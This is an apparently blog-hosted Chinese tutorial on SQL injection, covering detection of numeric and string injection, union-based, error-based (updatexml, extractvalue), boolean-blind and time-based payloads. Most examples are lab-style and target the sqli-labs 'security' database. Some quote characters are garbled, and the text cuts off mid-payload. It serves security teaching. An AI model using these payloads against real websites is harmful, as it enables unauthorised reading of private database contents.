[漏洞篇]SQL注入漏洞详解

[漏洞篇]SQL注入漏洞详解

介绍

把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。通过构造恶意的输入,使数据库执行恶意命令,造成数据泄露或者修改内容等,以达到攻击的目的。主要是由于应用程序对用户的输入没有进行严格的过滤而造成的。

基础知识

判断注入方式

按照参数类型分为:数字型/字符型
按照注入方式分为:

  • 联合注入
  • 报错注入
  • 延时注入
  • 布尔盲注

这里主要介绍常见的几种注入,其他的注入还包括:宽字节注入、Cookie注入等,详细可查看:https://www.freebuf.com/articles/web/339118.html

按照参数类型分:
1. 数字型:引号 - 永真 - 永假

当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。
测试步骤:
(1) 加引号(单引号/双引号),URL:www.text.com/text.php?id=3’
对应的sql:select * from table where id=3’ 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;
(2) 加and 1=1 ,URL:www.text.com/text.php?id=3 and 1=1
对应的sql:select * from table where id=3’ and 1=1 语句执行正常,与原始页面无任何差异;
(3) 加and 1=2,URL:www.text.com/text.php?id=3 and 1=2
对应的sql:select * from table where id=3 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异
如果满足以上三点,则可以判断该URL存在数字型注入。

2. 字符型:引号-引号用真/永真注释-引号永假/永假注释

当输入的参数为字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。

例如数字型语句:select * from table where id =3
则字符型如下:select * from table where name=’admin’
因此,在构造payload时通过闭合单引号可以成功执行语句:
测试步骤:
(1) 加引号(单引/双引号):select * from table where name=’admin’’
由于加引号后变成三个单引号(双引号),则无法执行,程序会报错;
(2) 引号用真:’ and ‘1’='1

SELECT * FROM users WHERE id='1' and '1'='1';

这里因为我们添加了永真条件,所以页面不会变化。

这里我们也可以使用注释:比如添加’ and 1 = 1 --+
– 注意,这种注释符后边有一个空格(如果在URL中,空格可以改为+或者%20,因为需要进行编码)

SELECT * FROM users WHERE id='1' and 1 =1 -- ' ;

(3) 引号永假:’ and ‘1’ = '2
这里因为我们添加了永假,所以页面会发生变化,不会显示数据。

SELECT * FROM users WHERE id='1' and '1' = '2' ;

判断列数:
?id=1’ order by 4# 报错
?id=1’ order by 3# 没有报错,说明存在3列
爆出数据库:
?id=-1’ union select 1,database(),3–+
?id=-1’ union select 1,group_concat(schema_name),3 from information_schema.schemata#
爆出数据表:
?id=-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘数据库’#
爆出字段:
?id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘数据表’#
爆出数据值:
?id=-1’ union select 1,group_concat(0x7e,字段,0x7e),3 from 数据库名.数据表名–+

# 拓展一些其他函数(以MySQL为例):
system_user() 系统用户名
user() 用户名
current_user 当前用户名
session_user()连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统
多条数据显示函数:
concat()、group_concat()、concat_ws()
按注入方式分:
1. 联合注入(union注入):适用于显示列的注入

这种查询原理是把前面值整成错误的(id=-1’ 或者id=1’ and 1=2 后面加上union语句),这样就会执行union后语句。union联合查询适用于有显示列的注入。

如果页面有反显(随着请求参数不同,页面显示不同,表明可以使用联合注入)

  • Order by 判断查询列数(4时错误,3时正确,可得知,当前表有3列 ):
?id=1' and '1'='1' order by 1--+  页面回显正常
?id=1' and '1'='1' order by 2--+  页面回显正常
?id=1' and '1'='1' order by 3--+  页面回显正常
?id=1' and '1'='1' order by 4--+  出现报错界面

# 可知查询语句主有3列
  • Union select xx,xx,xx判断反显列:
    ?id=1’ and 1=2 union select 1 ,2 ,3 --+
2. 报错注入

通过数据库函数/语法报错,反显数据库敏感信息

  1. UPDATEXML 是 MySQL 中的一个 XML 函数,用于解析 XML 数据并返回结果。
    UPDATEXML(xml_target, xpath_expr, new_xml)
  • xml_target:要操作的 XML 文档。
  • xpath_expr:一个字符串,表示 XPath 表达式,用于指定要更新的节点。
  • new_xml:要替换的新的 XML 内容。
    在SQL注入中,不妨把他简化为updatexml(xx,concat(xx),xx),concat函数用来拼接字符,当第二个参数为非xpath格式就会把校验失败的数据爆出来。由于要的只是第二个参数,一三随便写即可
  1. EXTRACTVALUE 是 MySQL 中的一个函数,用于从 XML 文档中提取指定的值。该函数使用 XPath 表达式从 XML 数据中选择和返回节点的文本内容。
    EXTRACTVALUE(xml_frag, xpath_expr)
  • xml_frag:包含 XML 数据的字符串。
  • xpath_expr:一个字符串,表示 XPath 表达式,用于指定要提取的节点。
    在SQL注入中,不妨把他简化为extractvalue(xx,concat(xx)),concat函数用来拼接字符,当第二个参数为非xpath格式 就会把校验失败的数据爆出来。由于要的只是第二个参数,参数一随便写即可。

演示:
在这里插入图片描述

3. 布尔盲注

查询数据无反显且页面存在两种状态

布尔盲注常用函数:

database()          显示数据库名称
left(a,b)          从左侧截取a的前b位
substr(a,b,c) 从b位置开始,截取字符串a的c长度
mid(a,b,c)    从位置b开始,截取a字符串的c位
length()      返回字符串的长度
Ascii()       将某个字符转换为ascii值
char()        将ASCII码转换为对应的字符

Left判断
?id=1’ and left(database(),1)=‘s’ --+
?id=1’ and left(database(),2) > ‘sa’ --+
Like语句判断
?id=1’ and (select table_name from information_schema.tables where table_schema=database() limit 0,1)like ‘e%’ --+
Ascii语句判断
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=115 --+

4. 延时注入

布尔盲注是进行逻辑判断,适用与注入页面存在两种状态:正常页面/报错页面
时间盲注是进行IF判断联合sleep函数执行,适用于注入页面只存在一种状态

判断注入点:
?id=1’ and sleep(5)–+ //正常休眠
?id=1" and sleep(5)–+ //无休眠
?id=1’) and sleep(5)–+//无休眠
?id=1") and sleep(5)–+//无休眠
?id=1’ and if(length(database())=8,sleep(10),1)–+

  • 爆出数据库:
    ?id=1’ and if(ascii(substr(database(),1,1))=115,1,sleep(10))–+
    通过判断服务器没有睡眠,ascii码转换115为s ,那么就得出数据库第一个字符为s,下面就可以依次类推了
    substr(database(),N,1)可以通过改变N的值来判断数据的第几个字符是什么
  • 爆出数据表:
    ?id=1’ and if((select ascii(substr((select table_name from information_schema.tables where table_schema=“security"limit 0,1),1,1)))=101,sleep(5),1) --+
    解释:security的第一张表的第一个字符ascii为101,为字符e
    limit 0,1),N,1还是改变N的值,得出第二个字符
    再判断字符(ascii判断)
    ?id=1” and if(ascii(substr(database(),1,1))>115,1,sleep(3)) --+
    (left语句判断)
    ?id=1’ and if(left(database(),1)=‘s’,sleep(10),1) --+
    ?id=1’ and if(left(database(),2)=‘sa’,sleep(10),1) --+
    Substring函数判断
    type=if(substring((select table_name from information_sc
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值